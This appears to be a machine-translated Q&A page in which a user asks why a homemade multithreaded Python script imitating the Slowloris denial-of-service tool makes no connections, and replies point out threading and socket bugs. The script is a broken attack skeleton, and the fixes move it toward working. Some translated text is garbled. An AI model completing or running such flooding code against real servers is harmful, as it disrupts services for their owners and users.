2013-05-09 155 views
0

我想制作自己的pyloris脚本,但没有获得任何连接;这里是我有:python套接字多线程

#!/usr/bin/python 
import sys,socket 
import threading 
from time import sleep 


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
HOST = sys.argv[1] 
PORT = 80 
t = int(sys.argv[3]) 
threads = [] 

class Slowloris(threading.Thread): 
def Slowloris(self): 
    s.connect((HOST, int(PORT))) 
    s.send('GET/HTTP/1.0\nHost: ' + HOST + '\n') 
    sleep(1) 
    s.close() 
for num in range(0, t): 
try: 
    print "Started thread",num 
    thread = Slowloris() 
    thread.start() 
    threads.append(thread) 
except: 
    exit(0) 

for thread in threads: 
thread.join() 

,我也得到事先绝对没有从我的插座连接的感谢,-_- 我得到的输出,那就是:

D4zk1tty @卡利:〜$。 /slowloris.py 127.0.0.1 80 10

发起者线程0

发起者线程1

发起者螺纹2

发起者线3

发起者螺纹4

发起者螺纹5

发起者螺纹6

发起者螺纹7

发起者螺纹8

发起者螺纹9

+0

一件事,你的构造应该声明:'高清__init __(个体经营):' – 2013-05-09 03:15:27

+0

另一个问题是,你需要每个线程一个Socket对象。正如所写的,脚本会在同一套接字对象上调用10次connect()。 – 2013-05-09 10:47:05

回答

0
def Slowloris(self): 

应该

def run(self):